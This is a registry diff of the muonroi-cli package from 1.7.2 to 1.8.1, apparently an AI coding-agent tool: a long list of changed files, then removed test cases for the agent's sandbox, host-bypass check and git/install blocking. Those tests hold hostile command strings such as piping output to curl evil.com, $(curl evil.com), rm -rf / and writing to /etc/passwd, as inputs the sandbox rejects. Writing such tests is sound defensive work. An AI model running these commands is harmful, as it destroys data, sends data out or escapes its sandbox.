muonroi-cli 1.7.2 → 1.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/packages/agent-harness-core/src/event-filter.js +1 -0
- package/dist/packages/agent-harness-core/src/event-redact.js +8 -0
- package/dist/packages/agent-harness-core/src/mcp-server.d.ts +16 -0
- package/dist/packages/agent-harness-core/src/mcp-server.js +88 -10
- package/dist/packages/agent-harness-core/src/protocol.d.ts +15 -0
- package/dist/packages/agent-harness-core/src/selector.js +2 -2
- package/dist/packages/agent-harness-core/src/transports/sidechannel.js +1 -1
- package/dist/packages/agent-harness-opentui/src/agent-mode.js +1 -1
- package/dist/packages/agent-harness-opentui/src/install.js +1 -1
- package/dist/src/__test-stubs__/vitest-setup.js +4 -0
- package/dist/src/agent-harness/__tests__/mock-model.spec.js +54 -0
- package/dist/src/agent-harness/mock-model.d.ts +1 -1
- package/dist/src/agent-harness/mock-model.js +143 -6
- package/dist/src/agent-harness/test-spawn.js +3 -1
- package/dist/src/chat/chat-keychain.js +9 -1
- package/dist/src/cli/cost-forensics.js +7 -4
- package/dist/src/cli/keys.d.ts +2 -2
- package/dist/src/cli/keys.js +107 -28
- package/dist/src/cli/usage-report.js +2 -2
- package/dist/src/council/__tests__/abort-threading.test.d.ts +1 -0
- package/dist/src/council/__tests__/abort-threading.test.js +193 -0
- package/dist/src/council/__tests__/clarification-prompt.test.js +21 -1
- package/dist/src/council/__tests__/council-turn-length-emit.test.d.ts +1 -0
- package/dist/src/council/__tests__/council-turn-length-emit.test.js +130 -0
- package/dist/src/council/__tests__/debate-round-budget.test.d.ts +1 -0
- package/dist/src/council/__tests__/debate-round-budget.test.js +45 -0
- package/dist/src/council/__tests__/evaluator-metrics.test.js +3 -0
- package/dist/src/council/__tests__/post-debate-recommendation.test.d.ts +1 -0
- package/dist/src/council/__tests__/post-debate-recommendation.test.js +58 -0
- package/dist/src/council/__tests__/research-tools.test.js +4 -0
- package/dist/src/council/__tests__/round-tools.test.js +6 -0
- package/dist/src/council/clarifier-question-cap.test.d.ts +12 -0
- package/dist/src/council/clarifier-question-cap.test.js +73 -0
- package/dist/src/council/clarifier.d.ts +29 -1
- package/dist/src/council/clarifier.js +64 -1
- package/dist/src/council/debate-planner.d.ts +2 -1
- package/dist/src/council/debate-planner.js +5 -3
- package/dist/src/council/debate.d.ts +9 -0
- package/dist/src/council/debate.js +88 -8
- package/dist/src/council/index.d.ts +46 -1
- package/dist/src/council/index.js +125 -19
- package/dist/src/council/llm.js +41 -13
- package/dist/src/council/prompts.js +36 -1
- package/dist/src/council/types.d.ts +14 -1
- package/dist/src/ee/__tests__/export-transcripts.test.js +1 -1
- package/dist/src/ee/bridge.d.ts +3 -1
- package/dist/src/ee/bridge.js +9 -3
- package/dist/src/ee/bridge.test.js +1 -2
- package/dist/src/ee/client.js +15 -2
- package/dist/src/ee/recall-ledger.d.ts +20 -0
- package/dist/src/ee/recall-ledger.js +40 -1
- package/dist/src/ee/search.d.ts +25 -0
- package/dist/src/ee/search.js +73 -0
- package/dist/src/ee/types.d.ts +15 -1
- package/dist/src/ee/who-am-i.d.ts +41 -0
- package/dist/src/ee/who-am-i.js +143 -0
- package/dist/src/ee/who-am-i.test.d.ts +1 -0
- package/dist/src/ee/who-am-i.test.js +101 -0
- package/dist/src/flow/compaction/index.d.ts +1 -0
- package/dist/src/flow/compaction/index.js +4 -0
- package/dist/src/generated/version.d.ts +1 -1
- package/dist/src/generated/version.js +1 -1
- package/dist/src/headless/council-answers.js +1 -0
- package/dist/src/headless/output.d.ts +30 -1
- package/dist/src/headless/output.js +180 -0
- package/dist/src/headless/output.test.js +61 -1
- package/dist/src/hooks/index.js +48 -2
- package/dist/src/index.d.ts +2 -0
- package/dist/src/index.js +59 -62
- package/dist/src/lsp/client-normalize.test.d.ts +12 -0
- package/dist/src/lsp/client-normalize.test.js +34 -0
- package/dist/src/lsp/client.d.ts +1 -0
- package/dist/src/lsp/client.js +10 -2
- package/dist/src/lsp/manager.d.ts +1 -1
- package/dist/src/lsp/manager.js +13 -5
- package/dist/src/lsp/manager.test.js +41 -2
- package/dist/src/lsp/runtime.d.ts +1 -1
- package/dist/src/lsp/runtime.js +2 -2
- package/dist/src/maintain/__tests__/gh-create-pr.test.js +7 -3
- package/dist/src/maintain/__tests__/pr-builder.test.js +7 -3
- package/dist/src/mcp/__tests__/client-pool.spec.js +3 -3
- package/dist/src/mcp/__tests__/ee-tools.test.js +42 -14
- package/dist/src/mcp/__tests__/forensics-tools.test.js +3 -3
- package/dist/src/mcp/__tests__/lsp-tools.test.js +4 -4
- package/dist/src/mcp/auto-setup.js +0 -8
- package/dist/src/mcp/client-pool.d.ts +1 -1
- package/dist/src/mcp/client-pool.js +25 -9
- package/dist/src/mcp/ee-tools.d.ts +10 -0
- package/dist/src/mcp/ee-tools.js +34 -0
- package/dist/src/mcp/self-verify-jobs.d.ts +1 -0
- package/dist/src/mcp/self-verify-jobs.js +1 -3
- package/dist/src/mcp/self-verify-runner.js +1 -1
- package/dist/src/models/catalog-gemini.test.js +12 -10
- package/dist/src/models/catalog.json +106 -38
- package/dist/src/orchestrator/__tests__/auto-commit.test.d.ts +1 -0
- package/dist/src/orchestrator/__tests__/auto-commit.test.js +142 -0
- package/dist/src/orchestrator/__tests__/batch-turn-runner.test.js +3 -0
- package/dist/src/orchestrator/__tests__/delegations.test.d.ts +1 -0
- package/dist/src/orchestrator/__tests__/delegations.test.js +96 -0
- package/dist/src/orchestrator/__tests__/message-processor.test.js +2 -0
- package/dist/src/orchestrator/__tests__/prompts.test.d.ts +1 -0
- package/dist/src/orchestrator/__tests__/prompts.test.js +88 -0
- package/dist/src/orchestrator/__tests__/stream-runner.test.js +29 -0
- package/dist/src/orchestrator/__tests__/sub-session-delegation.test.d.ts +1 -0
- package/dist/src/orchestrator/__tests__/sub-session-delegation.test.js +507 -0
- package/dist/src/orchestrator/agent.test.js +5 -2
- package/dist/src/orchestrator/auto-commit.d.ts +110 -0
- package/dist/src/orchestrator/auto-commit.js +366 -0
- package/dist/src/orchestrator/batch-turn-runner.d.ts +3 -2
- package/dist/src/orchestrator/batch-turn-runner.js +2 -1
- package/dist/src/orchestrator/compaction-proposer-prompt.d.ts +8 -0
- package/dist/src/orchestrator/compaction-proposer-prompt.js +43 -0
- package/dist/src/orchestrator/compaction.d.ts +22 -0
- package/dist/src/orchestrator/compaction.js +42 -0
- package/dist/src/orchestrator/delegations.d.ts +1 -0
- package/dist/src/orchestrator/delegations.js +41 -0
- package/dist/src/orchestrator/error-utils.js +27 -2
- package/dist/src/orchestrator/message-processor.d.ts +23 -5
- package/dist/src/orchestrator/message-processor.js +226 -2573
- package/dist/src/orchestrator/orchestrator.d.ts +11 -2
- package/dist/src/orchestrator/orchestrator.js +530 -43
- package/dist/src/orchestrator/pending-calls.js +2 -1
- package/dist/src/orchestrator/preprocessor.d.ts +13 -0
- package/dist/src/orchestrator/preprocessor.js +146 -0
- package/dist/src/orchestrator/prompts.d.ts +16 -0
- package/dist/src/orchestrator/prompts.js +130 -67
- package/dist/src/orchestrator/safety-askcard.d.ts +66 -0
- package/dist/src/orchestrator/safety-askcard.js +74 -0
- package/dist/src/orchestrator/sandbox.test.js +8 -5
- package/dist/src/orchestrator/scope-ceiling.js +1 -1
- package/dist/src/orchestrator/stall-watchdog.d.ts +47 -0
- package/dist/src/orchestrator/stall-watchdog.js +23 -0
- package/dist/src/orchestrator/stall-watchdog.test.js +36 -1
- package/dist/src/orchestrator/stream-runner.js +52 -30
- package/dist/src/orchestrator/sub-agent-cap.d.ts +2 -0
- package/dist/src/orchestrator/sub-agent-cap.js +12 -4
- package/dist/src/orchestrator/sub-agent-model-tier.js +1 -1
- package/dist/src/orchestrator/subagent-compactor.d.ts +21 -0
- package/dist/src/orchestrator/subagent-compactor.js +148 -24
- package/dist/src/orchestrator/subagent-compactor.spec.js +249 -1
- package/dist/src/orchestrator/text-tool-call-detector.d.ts +9 -5
- package/dist/src/orchestrator/text-tool-call-detector.js +16 -12
- package/dist/src/orchestrator/text-tool-call-detector.test.js +66 -8
- package/dist/src/orchestrator/tool-args-repair.js +1 -1
- package/dist/src/orchestrator/tool-engine.d.ts +153 -0
- package/dist/src/orchestrator/tool-engine.js +3138 -0
- package/dist/src/orchestrator/turn-runner-deps.d.ts +3 -0
- package/dist/src/pil/__tests__/discovery-types.test.js +15 -4
- package/dist/src/pil/__tests__/discovery.test.js +89 -145
- package/dist/src/pil/__tests__/dual-run.test.js +2 -0
- package/dist/src/pil/__tests__/layer1-intent-trace.test.js +3 -0
- package/dist/src/pil/__tests__/layer1-intent.test.js +3 -0
- package/dist/src/pil/__tests__/layer16-clarity.test.js +35 -32
- package/dist/src/pil/__tests__/layer18-acceptance.test.js +1 -78
- package/dist/src/pil/__tests__/layer2_5-ponytail.test.d.ts +1 -0
- package/dist/src/pil/__tests__/layer2_5-ponytail.test.js +53 -0
- package/dist/src/pil/__tests__/layer3-ee-injection.test.js +67 -4
- package/dist/src/pil/__tests__/layer3-injected-chunk.test.js +14 -2
- package/dist/src/pil/__tests__/layer4-gsd.test.js +30 -0
- package/dist/src/pil/__tests__/layer5-context.test.js +39 -1
- package/dist/src/pil/__tests__/layer6-output.test.js +30 -2
- package/dist/src/pil/__tests__/llm-classify.test.js +79 -1
- package/dist/src/pil/__tests__/orchestrator-integration.test.js +3 -1
- package/dist/src/pil/__tests__/pipeline.test.js +11 -8
- package/dist/src/pil/__tests__/response-tools.test.js +52 -0
- package/dist/src/pil/agent-operating-contract.d.ts +1 -1
- package/dist/src/pil/agent-operating-contract.js +5 -3
- package/dist/src/pil/agent-operating-contract.test.js +2 -2
- package/dist/src/pil/cheap-model-playbook.d.ts +1 -1
- package/dist/src/pil/cheap-model-playbook.js +1 -1
- package/dist/src/pil/cheap-model-workbooks.d.ts +1 -1
- package/dist/src/pil/cheap-model-workbooks.js +1 -1
- package/dist/src/pil/config.d.ts +20 -0
- package/dist/src/pil/config.js +35 -0
- package/dist/src/pil/discovery-types.d.ts +32 -9
- package/dist/src/pil/discovery.d.ts +3 -3
- package/dist/src/pil/discovery.js +138 -244
- package/dist/src/pil/index.d.ts +1 -1
- package/dist/src/pil/index.js +1 -1
- package/dist/src/pil/layer1-intent.d.ts +9 -1
- package/dist/src/pil/layer1-intent.js +62 -7
- package/dist/src/pil/layer1-intent.test.js +112 -2
- package/dist/src/pil/layer15-context-scan.js +1 -1
- package/dist/src/pil/layer16-clarity.d.ts +21 -25
- package/dist/src/pil/layer16-clarity.js +52 -88
- package/dist/src/pil/layer18-acceptance.d.ts +13 -3
- package/dist/src/pil/layer18-acceptance.js +1 -75
- package/dist/src/pil/layer2-personality.js +7 -8
- package/dist/src/pil/layer2_5-ponytail.d.ts +2 -0
- package/dist/src/pil/layer2_5-ponytail.js +41 -0
- package/dist/src/pil/layer3-ee-injection.js +180 -14
- package/dist/src/pil/layer4-gsd.js +22 -8
- package/dist/src/pil/layer5-context.d.ts +1 -0
- package/dist/src/pil/layer5-context.js +26 -11
- package/dist/src/pil/layer6-output.js +23 -5
- package/dist/src/pil/llm-classify.d.ts +11 -0
- package/dist/src/pil/llm-classify.js +196 -3
- package/dist/src/pil/native-capabilities-workbook.d.ts +1 -1
- package/dist/src/pil/native-capabilities-workbook.js +4 -3
- package/dist/src/pil/pipeline.js +15 -1
- package/dist/src/pil/response-tools.d.ts +16 -0
- package/dist/src/pil/response-tools.js +41 -0
- package/dist/src/pil/schema.d.ts +8 -0
- package/dist/src/pil/schema.js +24 -3
- package/dist/src/pil/task-tier-map.js +7 -7
- package/dist/src/pil/types.d.ts +9 -3
- package/dist/src/product-loop/__tests__/discovery-interview.test.js +103 -1
- package/dist/src/product-loop/__tests__/gather-selectable-alts.test.js +34 -0
- package/dist/src/product-loop/__tests__/sprint-self-verify.test.js +12 -12
- package/dist/src/product-loop/discovery-interview.d.ts +20 -0
- package/dist/src/product-loop/discovery-interview.js +121 -7
- package/dist/src/product-loop/gather.js +19 -5
- package/dist/src/product-loop/loop-driver.js +2 -2
- package/dist/src/product-loop/sprint-self-verify.js +2 -2
- package/dist/src/providers/__tests__/reasoning-roundtrip.test.js +12 -0
- package/dist/src/providers/auth/__tests__/gemini-oauth.test.d.ts +1 -5
- package/dist/src/providers/auth/__tests__/gemini-oauth.test.js +1 -5
- package/dist/src/providers/auth/gcloud.d.ts +28 -0
- package/dist/src/providers/auth/gcloud.js +102 -0
- package/dist/src/providers/auth/gemini-oauth.d.ts +46 -19
- package/dist/src/providers/auth/gemini-oauth.js +292 -105
- package/dist/src/providers/auth/grok-oauth.d.ts +1 -1
- package/dist/src/providers/auth/grok-oauth.js +1 -1
- package/dist/src/providers/auth/registry.js +28 -6
- package/dist/src/providers/gemini.d.ts +1 -1
- package/dist/src/providers/gemini.js +10 -3
- package/dist/src/providers/keychain.d.ts +2 -2
- package/dist/src/providers/keychain.js +20 -2
- package/dist/src/providers/openai.js +5 -1
- package/dist/src/providers/runtime.d.ts +1 -1
- package/dist/src/providers/runtime.js +11 -2
- package/dist/src/providers/siliconflow-sse-repair.js +1 -1
- package/dist/src/providers/strategies/google.strategy.d.ts +9 -2
- package/dist/src/providers/strategies/google.strategy.js +159 -9
- package/dist/src/providers/strategies/thinking-mode.js +19 -6
- package/dist/src/providers/types.d.ts +1 -1
- package/dist/src/router/decide.test.js +40 -8
- package/dist/src/router/step-router.d.ts +20 -0
- package/dist/src/router/step-router.js +73 -0
- package/dist/src/self-qa/agentic-loop.js +30 -21
- package/dist/src/self-qa/orchestrator.js +5 -5
- package/dist/src/self-qa/scenario-planner.js +1 -1
- package/dist/src/self-qa/spec-emitter.js +4 -4
- package/dist/src/storage/__tests__/hierarchical-session.test.d.ts +1 -0
- package/dist/src/storage/__tests__/hierarchical-session.test.js +161 -0
- package/dist/src/storage/__tests__/sweep-stale-pending.test.js +2 -2
- package/dist/src/storage/index.d.ts +1 -1
- package/dist/src/storage/index.js +1 -1
- package/dist/src/storage/migrations.js +13 -1
- package/dist/src/storage/transcript-response-entry.test.js +18 -5
- package/dist/src/storage/transcript-view.js +7 -1
- package/dist/src/storage/transcript.d.ts +3 -0
- package/dist/src/storage/transcript.js +254 -73
- package/dist/src/storage/ui-interaction-log.d.ts +17 -0
- package/dist/src/storage/usage.js +22 -5
- package/dist/src/tools/__tests__/native-tools.test.js +6 -0
- package/dist/src/tools/bash.d.ts +36 -23
- package/dist/src/tools/bash.js +59 -301
- package/dist/src/tools/bash.test.js +2 -257
- package/dist/src/tools/file-tracker.d.ts +5 -0
- package/dist/src/tools/file-tracker.js +14 -0
- package/dist/src/tools/file.js +2 -0
- package/dist/src/tools/git-safety.d.ts +38 -1
- package/dist/src/tools/git-safety.js +94 -4
- package/dist/src/tools/git-safety.test.js +45 -1
- package/dist/src/tools/native-tools.d.ts +1 -1
- package/dist/src/tools/native-tools.js +66 -1
- package/dist/src/tools/registry-bash-empty-command.test.js +4 -3
- package/dist/src/tools/registry-git-safety.test.js +17 -6
- package/dist/src/tools/registry.d.ts +6 -0
- package/dist/src/tools/registry.js +215 -13
- package/dist/src/types/index.d.ts +8 -2
- package/dist/src/ui/app.d.ts +1 -0
- package/dist/src/ui/app.js +0 -0
- package/dist/src/ui/components/council-question-card.js +1 -0
- package/dist/src/ui/components/message-view.js +37 -3
- package/dist/src/ui/components/structured-response-view.js +7 -0
- package/dist/src/ui/components/task-list-panel.js +3 -12
- package/dist/src/ui/containers/chat-feed.d.ts +40 -0
- package/dist/src/ui/containers/chat-feed.js +66 -0
- package/dist/src/ui/containers/modals-layer.d.ts +87 -0
- package/dist/src/ui/containers/modals-layer.js +18 -0
- package/dist/src/ui/slash/__tests__/menu-parity.test.d.ts +1 -0
- package/dist/src/ui/slash/__tests__/menu-parity.test.js +1 -0
- package/dist/src/ui/slash/__tests__/ponytail.test.d.ts +1 -0
- package/dist/src/ui/slash/__tests__/ponytail.test.js +37 -0
- package/dist/src/ui/slash/expand.js +14 -1
- package/dist/src/ui/slash/export.js +16 -1
- package/dist/src/ui/slash/menu-items.js +1 -0
- package/dist/src/ui/slash/ponytail.d.ts +2 -0
- package/dist/src/ui/slash/ponytail.js +19 -0
- package/dist/src/ui/status-bar/store.js +0 -1
- package/dist/src/ui/status-bar/store.test.js +2 -2
- package/dist/src/ui/use-app-logic.d.ts +26 -0
- package/dist/src/ui/use-app-logic.js +0 -0
- package/dist/src/ui/utils/relaunch.js +1 -1
- package/dist/src/ui/utils/text.d.ts +11 -0
- package/dist/src/ui/utils/text.js +21 -1
- package/dist/src/ui/utils/text.test.js +25 -1
- package/dist/src/ui/utils/tools.js +3 -1
- package/dist/src/usage/cost-log.js +2 -2
- package/dist/src/usage/estimator.d.ts +14 -0
- package/dist/src/usage/estimator.js +22 -0
- package/dist/src/utils/__tests__/compaction-caps.test.d.ts +21 -0
- package/dist/src/utils/__tests__/compaction-caps.test.js +187 -0
- package/dist/src/utils/__tests__/llm-deadline-abort.test.d.ts +1 -0
- package/dist/src/utils/__tests__/llm-deadline-abort.test.js +33 -0
- package/dist/src/utils/__tests__/llm-deadline.test.js +16 -4
- package/dist/src/utils/__tests__/logger.test.d.ts +1 -0
- package/dist/src/utils/__tests__/logger.test.js +115 -0
- package/dist/src/utils/__tests__/settings-agent-first.test.d.ts +1 -0
- package/dist/src/utils/__tests__/settings-agent-first.test.js +48 -0
- package/dist/src/utils/install-manager.d.ts +1 -0
- package/dist/src/utils/install-manager.js +76 -7
- package/dist/src/utils/install-manager.test.js +43 -1
- package/dist/src/utils/llm-deadline.d.ts +9 -1
- package/dist/src/utils/llm-deadline.js +31 -2
- package/dist/src/utils/logger.d.ts +28 -0
- package/dist/src/utils/logger.js +171 -0
- package/dist/src/utils/permission-mode.d.ts +33 -0
- package/dist/src/utils/permission-mode.js +164 -3
- package/dist/src/utils/permission-mode.test.js +92 -1
- package/dist/src/utils/settings.d.ts +36 -32
- package/dist/src/utils/settings.js +151 -123
- package/dist/src/utils/update-checker.test.js +5 -1
- package/package.json +1 -1
|
@@ -2,7 +2,7 @@ import fs from "node:fs";
|
|
|
2
2
|
import os from "node:os";
|
|
3
3
|
import path from "node:path";
|
|
4
4
|
import { afterEach, describe, expect, it } from "vitest";
|
|
5
|
-
import { BashTool
|
|
5
|
+
import { BashTool } from "./bash.js";
|
|
6
6
|
const tempDirs = [];
|
|
7
7
|
function makeTempDir(prefix) {
|
|
8
8
|
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
|
@@ -14,235 +14,7 @@ afterEach(() => {
|
|
|
14
14
|
fs.rmSync(dir, { recursive: true, force: true, maxRetries: 10, retryDelay: 50 });
|
|
15
15
|
}
|
|
16
16
|
});
|
|
17
|
-
describe("
|
|
18
|
-
it("wraps a simple command with mount and workspace cd", () => {
|
|
19
|
-
const result = wrapCommandForShuru("/repo", "echo hi");
|
|
20
|
-
expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
|
|
21
|
-
});
|
|
22
|
-
it("handles paths with spaces", () => {
|
|
23
|
-
const result = wrapCommandForShuru("/my repo", "ls");
|
|
24
|
-
expect(result).toBe("shuru run --mount '/my repo:/workspace' -- sh -lc 'cd /workspace && ls'");
|
|
25
|
-
});
|
|
26
|
-
it("escapes single quotes in the command", () => {
|
|
27
|
-
const result = wrapCommandForShuru("/repo", "echo 'hello world'");
|
|
28
|
-
expect(result).toContain("'\\''hello world'\\''");
|
|
29
|
-
});
|
|
30
|
-
it("includes --allow-net when allowNet is true", () => {
|
|
31
|
-
const result = wrapCommandForShuru("/repo", "curl example.com", { allowNet: true });
|
|
32
|
-
expect(result).toContain("--allow-net");
|
|
33
|
-
expect(result).toContain("--mount '/repo:/workspace'");
|
|
34
|
-
});
|
|
35
|
-
it("includes --allow-host flags for each allowed host", () => {
|
|
36
|
-
const result = wrapCommandForShuru("/repo", "curl api.openai.com", {
|
|
37
|
-
allowNet: true,
|
|
38
|
-
allowedHosts: ["api.openai.com", "registry.npmjs.org"],
|
|
39
|
-
});
|
|
40
|
-
expect(result).toContain("--allow-net");
|
|
41
|
-
expect(result).toContain("--allow-host api.openai.com");
|
|
42
|
-
expect(result).toContain("--allow-host registry.npmjs.org");
|
|
43
|
-
});
|
|
44
|
-
it("includes port forwards", () => {
|
|
45
|
-
const result = wrapCommandForShuru("/repo", "python -m http.server", { ports: ["8080:8000", "8443:443"] });
|
|
46
|
-
expect(result).toContain("-p 8080:8000");
|
|
47
|
-
expect(result).toContain("-p 8443:443");
|
|
48
|
-
});
|
|
49
|
-
it("includes resource limits", () => {
|
|
50
|
-
const result = wrapCommandForShuru("/repo", "make -j4", { cpus: 4, memory: 4096, diskSize: 8192 });
|
|
51
|
-
expect(result).toContain("--cpus 4");
|
|
52
|
-
expect(result).toContain("--memory 4096");
|
|
53
|
-
expect(result).toContain("--disk-size 8192");
|
|
54
|
-
});
|
|
55
|
-
it("includes --from checkpoint flag", () => {
|
|
56
|
-
const result = wrapCommandForShuru("/repo", "python script.py", { from: "py-env" });
|
|
57
|
-
expect(result).toContain("--from py-env");
|
|
58
|
-
});
|
|
59
|
-
it("includes --secret flags", () => {
|
|
60
|
-
const result = wrapCommandForShuru("/repo", "curl https://api.openai.com", {
|
|
61
|
-
allowNet: true,
|
|
62
|
-
secrets: [{ name: "API_KEY", fromEnv: "OPENAI_API_KEY", hosts: ["api.openai.com"] }],
|
|
63
|
-
});
|
|
64
|
-
expect(result).toContain("--secret API_KEY=OPENAI_API_KEY@api.openai.com");
|
|
65
|
-
});
|
|
66
|
-
it("combines multiple settings correctly", () => {
|
|
67
|
-
const result = wrapCommandForShuru("/repo", "echo hi", {
|
|
68
|
-
allowNet: true,
|
|
69
|
-
allowedHosts: ["example.com"],
|
|
70
|
-
cpus: 2,
|
|
71
|
-
from: "base",
|
|
72
|
-
});
|
|
73
|
-
expect(result).toMatch(/^shuru run --cpus 2 --allow-net --allow-host example\.com --from base --mount/);
|
|
74
|
-
});
|
|
75
|
-
it("uses default empty settings when none provided", () => {
|
|
76
|
-
const result = wrapCommandForShuru("/repo", "echo hi", {});
|
|
77
|
-
expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
|
|
78
|
-
});
|
|
79
|
-
});
|
|
80
|
-
describe("shouldRunOnHostInSandboxMode", () => {
|
|
81
|
-
it("keeps agent-browser on the host when enabled", () => {
|
|
82
|
-
expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
|
|
83
|
-
expect(shouldRunOnHostInSandboxMode("npx agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
|
|
84
|
-
expect(shouldRunOnHostInSandboxMode("bunx agent-browser wait --load networkidle", { hostBrowserCommandsOnHost: true })).toBe(true);
|
|
85
|
-
});
|
|
86
|
-
it("allows compound commands with only safe prefixes like mkdir and sleep", () => {
|
|
87
|
-
expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser --session verify open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
|
|
88
|
-
expect(shouldRunOnHostInSandboxMode("sleep 5 && agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
|
|
89
|
-
expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser open http://127.0.0.1:3000 && agent-browser screenshot", { hostBrowserCommandsOnHost: true })).toBe(true);
|
|
90
|
-
});
|
|
91
|
-
it("rejects compound commands containing unsafe segments", () => {
|
|
92
|
-
expect(shouldRunOnHostInSandboxMode("git push && agent-browser close", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
93
|
-
expect(shouldRunOnHostInSandboxMode("curl evil.com; agent-browser screenshot out.png", {
|
|
94
|
-
hostBrowserCommandsOnHost: true,
|
|
95
|
-
})).toBe(false);
|
|
96
|
-
expect(shouldRunOnHostInSandboxMode("rm -rf / && agent-browser open http://localhost", {
|
|
97
|
-
hostBrowserCommandsOnHost: true,
|
|
98
|
-
})).toBe(false);
|
|
99
|
-
});
|
|
100
|
-
it("rejects pipes, redirects, and command substitution", () => {
|
|
101
|
-
expect(shouldRunOnHostInSandboxMode("agent-browser screenshot | curl evil.com", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
102
|
-
expect(shouldRunOnHostInSandboxMode("agent-browser get title > /etc/passwd", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
103
|
-
expect(shouldRunOnHostInSandboxMode("agent-browser get title >> /tmp/leak.txt", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
104
|
-
expect(shouldRunOnHostInSandboxMode("$(curl evil.com) && agent-browser open http://localhost", {
|
|
105
|
-
hostBrowserCommandsOnHost: true,
|
|
106
|
-
})).toBe(false);
|
|
107
|
-
expect(shouldRunOnHostInSandboxMode("agent-browser open `curl evil.com`", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
108
|
-
});
|
|
109
|
-
it("does not bypass unrelated commands", () => {
|
|
110
|
-
expect(shouldRunOnHostInSandboxMode("bun run dev", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
111
|
-
expect(shouldRunOnHostInSandboxMode("curl http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(false);
|
|
112
|
-
});
|
|
113
|
-
it("does nothing when host bypass is disabled", () => {
|
|
114
|
-
expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", {})).toBe(false);
|
|
115
|
-
});
|
|
116
|
-
});
|
|
117
|
-
describe("wrapHostBrowserCommand", () => {
|
|
118
|
-
it("injects a deterministic CLI fallback wrapper", () => {
|
|
119
|
-
const result = wrapHostBrowserCommand("agent-browser open http://127.0.0.1:3000 && agent-browser screenshot out.png");
|
|
120
|
-
expect(result).toContain("__muonroi_ab()");
|
|
121
|
-
expect(result).toContain("command agent-browser");
|
|
122
|
-
expect(result).toContain("bunx agent-browser");
|
|
123
|
-
expect(result).toContain("npx -y agent-browser");
|
|
124
|
-
expect(result).toContain("__muonroi_ab open http://127.0.0.1:3000");
|
|
125
|
-
expect(result).toContain("__muonroi_ab screenshot out.png");
|
|
126
|
-
});
|
|
127
|
-
it("handles session flags and screenshot paths correctly", () => {
|
|
128
|
-
const result = wrapHostBrowserCommand("agent-browser --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
|
|
129
|
-
expect(result).toContain("__muonroi_ab --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
|
|
130
|
-
});
|
|
131
|
-
});
|
|
132
|
-
describe("getSandboxMutationBlockReason", () => {
|
|
133
|
-
it("returns null for read-only git commands", () => {
|
|
134
|
-
expect(getSandboxMutationBlockReason("git status")).toBeNull();
|
|
135
|
-
expect(getSandboxMutationBlockReason("git diff")).toBeNull();
|
|
136
|
-
expect(getSandboxMutationBlockReason("git log --oneline")).toBeNull();
|
|
137
|
-
expect(getSandboxMutationBlockReason("git show HEAD")).toBeNull();
|
|
138
|
-
expect(getSandboxMutationBlockReason("git rev-parse HEAD")).toBeNull();
|
|
139
|
-
expect(getSandboxMutationBlockReason("git grep foo")).toBeNull();
|
|
140
|
-
expect(getSandboxMutationBlockReason("git ls-files")).toBeNull();
|
|
141
|
-
});
|
|
142
|
-
it("blocks mutating git commands", () => {
|
|
143
|
-
expect(getSandboxMutationBlockReason("git add .")).toContain("Sandbox mode blocks git commands");
|
|
144
|
-
expect(getSandboxMutationBlockReason("git commit -m 'test'")).toContain("Sandbox mode blocks git commands");
|
|
145
|
-
expect(getSandboxMutationBlockReason("git push")).toContain("Sandbox mode blocks git commands");
|
|
146
|
-
expect(getSandboxMutationBlockReason("git checkout -b new")).toContain("Sandbox mode blocks git commands");
|
|
147
|
-
});
|
|
148
|
-
it("blocks git inside compound shell expressions", () => {
|
|
149
|
-
expect(getSandboxMutationBlockReason('echo foo && git commit -m "test"')).toContain("Sandbox mode blocks git commands");
|
|
150
|
-
expect(getSandboxMutationBlockReason('bash -c "git push"')).toContain("Sandbox mode blocks git commands");
|
|
151
|
-
});
|
|
152
|
-
it("blocks git branch since it can mutate", () => {
|
|
153
|
-
expect(getSandboxMutationBlockReason("git branch -D feature")).toContain("Sandbox mode blocks git commands");
|
|
154
|
-
expect(getSandboxMutationBlockReason("git branch new-name")).toContain("Sandbox mode blocks git commands");
|
|
155
|
-
});
|
|
156
|
-
it("blocks package-manager installs", () => {
|
|
157
|
-
expect(getSandboxMutationBlockReason("npm install express")).toContain("Package-manager installs");
|
|
158
|
-
expect(getSandboxMutationBlockReason("yarn add lodash")).toContain("Package-manager installs");
|
|
159
|
-
expect(getSandboxMutationBlockReason("pnpm install")).toContain("Package-manager installs");
|
|
160
|
-
expect(getSandboxMutationBlockReason("bun add zod")).toContain("Package-manager installs");
|
|
161
|
-
});
|
|
162
|
-
it("allows package-manager installs when ephemeral installs are enabled", () => {
|
|
163
|
-
expect(getSandboxMutationBlockReason("npm install express", { allowEphemeralInstall: true })).toBeNull();
|
|
164
|
-
expect(getSandboxMutationBlockReason("pnpm install", { allowEphemeralInstall: true })).toBeNull();
|
|
165
|
-
expect(getSandboxMutationBlockReason("pip install fastapi", { allowEphemeralInstall: true })).toBeNull();
|
|
166
|
-
});
|
|
167
|
-
it("blocks package-manager installs in compound commands", () => {
|
|
168
|
-
expect(getSandboxMutationBlockReason("echo foo && npm install express")).toContain("Package-manager installs");
|
|
169
|
-
});
|
|
170
|
-
it("blocks formatters that rewrite files", () => {
|
|
171
|
-
expect(getSandboxMutationBlockReason("prettier --write src/")).toContain("formatters");
|
|
172
|
-
